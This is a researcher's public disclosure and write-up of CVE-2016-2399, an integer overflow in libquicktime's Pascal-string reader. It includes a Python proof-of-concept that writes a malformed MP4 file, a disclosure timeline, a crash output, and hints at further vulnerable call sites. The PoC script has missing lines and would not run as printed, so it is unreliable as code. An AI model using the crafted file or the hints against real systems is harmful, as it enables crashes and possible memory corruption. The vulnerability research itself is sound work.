CVE-2016-2399 libquicktime 1.2.4 Integer Overflow

My Last bug hunting session (for fun and no-profit) has been dedicated to libquicktime

Product Page:
Description: ‘hdlr’, ‘stsd’, ‘ftab’ MP4 Atoms Integer Overflow
Affected products: All products using libquicktime version <= 1.2.4

#!/usr/bin/env python
# Author: Marco Romano - @nemux_
# libquicktime 1.2.4 Integer Overflow
# Product Page:
# Description: 'hdlr', 'stsd', 'ftab' MP4 Atoms Integer Overflow
# Affected products: All products using libquicktime version <= 1.2.4
# CVE-ID: CVE-2016-2399 
import sys  
import struct  
import binascii

There needs to be an mp4 file with these nested atoms to trigger the bug:  
moov -> trak -> mdia -> hdlr  
hax0r_mp4 = ("0000001C667479704141414100000300336770346D70343133677036000000086D646174000001B1"  
"6D6F6F76"               #### moov atom    "0000006C6D76686400000000CC1E6D6ECC1E6D6E000003E80000030200010000010000000000000000000000"           "000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000000"          "00000000000000000000000000000003000000FD756474610000001263707274000000000000FEFF0000000000126175"            "7468000000000000FEFF0000000000127469746C000000000000FEFF00000000001264736370000000000000FEFF0000"
 "0000001270657266000000000000FEFF000000000012676E7265000000000000FEFF00000000001A72746E6700000000"              "00000000000000000000FEFF000000000018636C7366000000000000000000000000FEFF00000000000F6B7977640000"             "000055C400000000276C6F6369000000000000FEFF000000000000000000000000000000FEFF0000FEFF0000000000FF" 
"7472616B"               #### trak atom             "0000005C746B686400000001CC1E6D6ECC1E6D6E00000001000000000000030000000000000000000000000001000000"            "000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000040"
"6D646961"               #### mdia atom            "000000206D64686400000000CC1E6D6ECC1E6D6E00003E800000300000000000000000"
"4E"                     #### hdlr atom length
"68646C72"               #### hdlr atom
"4141414141414141"       #### our airstrip :)
"EC"                     #### 236 > 127 <-- overflow here and a change in signedness too             "616161000000FF736F756E000000000000000000000000536F756E6448616E646C6572000000012B6D696E6600000010")

hax0r_mp4 = bytearray(binascii.unhexlify(hax0r_mp4))

def createPoC():  
        with open("./nemux.mp4","wb") as output:
        print "[*] The PoC is done!"
    except Exception,e: 
        print str(e)
        print "[*] mmmm!"

def usage():  
    print "\nUsage? Run it -> " + sys.argv[0]
    print "this poc creates an mp4 file named nemux.mp4"
    print "--------------------------------------------"
    print "This dummy help? " + sys.argv[0] + " help\n" 

if __name__ == "__main__":  
        if len(sys.argv) == 2:
            print "\nlibquicktime <= 1.2.4 Integer Overflow CVE-2016-2399\n"
            print "Author: Marco Romano - @nemux_ -\n\n";
    except Exception,e: 
        print str(e)
        print "Ok... Something went wrong..."
  • 07 Feb 2016 Bug discovered
  • 17 Feb 2016 contacted
  • 17 Feb 2016 Disclosed to the project's maintainer
  • 23 Feb 2016 No response from the maintainer
  • 23 Feb 2016 Publicly disclosed

Disclosure part

Let me make a little introduction... i'm sure this is not the only issue of this library. I suppose libquicktime needs a refactoring process (IMHO)

If you are a l33t hax0r you don't need to read the rest :)

Reading the code

When i was reading the library code, in util.c this "interesting" line caught my eye:

char len = quicktime_read_char(file);

Ok but... what's wrong?

Signed or unsigned, that is the question: Negative numbers exist and we need to store them :) There is a mechanism to represent them using the binary code and it's by using the most significant bit (MSB) of a variable to determine the sign: if the MSB is set to 1, the variable is interpreted as negative; if it is set to 0, the variable is positive.

Now go back to the lines of code

void quicktime_read_pascal(quicktime_t *file, char *data) { char len = quicktime_read_char(file); quicktime_read_data(file, (uint8_t*)data, len); data[(int)len] = 0; }

int quicktime_read_char(quicktime_t *file) { char output; quicktime_read_data(file, (uint8_t*)(&output), 1); return output; }

They are self-explanatory, right?

But take a look to the casting. The output value will be an unsigned int, but: is "char len" signed or unsigned?

(i'm going to reveal the murderer...)


The answer is in the "limits.h" header

The standard defines three types: char, signed char and unsigned char.

look at CHAR_MIN and CHAR_MAX in limits.h

/* Minimum and maximum values a 'signed char' can hold. */
# define SCHAR_MIN (-128)
# define SCHAR_MAX 127

/* Maximum value an 'unsigned char' can hold. (Minimum is 0.) */
# define UCHAR_MAX 255

/* Minimum and maximum values a 'char' can hold. */
# ifdef __CHAR_UNSIGNED__
# define CHAR_MIN 0
# else
# endif

If we define __CHAR_UNSIGNED__ at compile time every char will be treated as unsigned... but we are in the default case where a char is signed, then minimum and maximum values a plain char can hold are: -128 to 127. But quicktime_read_data() stores an unsigned int which can hold an integer value from 0 to 255.

Integer overflow happens when we try to store in the char len a value greater than 127. Since an integer is signed by default, an integer overflow can cause a change in signedness.

When it is incremented, the most significant bit (indicating signedness) is set and the integer is interpreted as being negative. And the trick is done! :)


When a bug finally makes itself known, it can be exhilarating, like you just unlocked something. A grand opportunity waiting to be taken advantage of. (cit.)

In this case i got the "grand opportunity" to learn that in 2016 i can continue to see something what i saw when i was a child at the end of the '90s :)

Let's go trigger the bug!

That's the funniest thing. To trigger the bug there needs to be a way to call quicktime_read_pascal(). I found different ways to do that, here i will use the "hdlr" atom parser. (see hdlr.c)

(QuickTime file format specification? Google is always your best friend...)

we can create an mp4 file with these nested atoms:
moov -> trak -> mdia -> hdlr

'hdlr' atom structure:

in hdlr.c -> quicktime_read_pascal(file, hdlr->component_name);
Note: The quicktime spec uses a Pascal string.

Following the structure above i've created our malicious hdlr atom and that's the hex dump:


Take a look to the last 4 bytes EC 61 61 61. The first byte "EC" is the offset that quicktime_read_pascal() needs in order to get the component name string.

0xEC = 236 (which is > than 127) <-- there's an overflow here and a change in signedness too

If the sign bit is 1, then library will use negative representation of 0xEC: -20
0xEC = 11101100 -> negative 00010011 +1 = 00010100 = 20 dec

now my char len value is -20 and the fread() will read 20 bytes back from the 0xEC byte where it will find my 0x41 padding.

nemux-lab:/home/nemux/libquicktime-1.2.4/utils# ./qtdump nemux.mp4 Segmentation fault


Write-what-where is satisfied. (..."where" not completely here but that's another story)

Tips for sunday's hax0r:
1. at stsdtable.c:60
2. at ftab.c:67 quicktime_read_pascal() is called more times in a for cycle

End of the disclosure part

Mom i'm an Hacker now!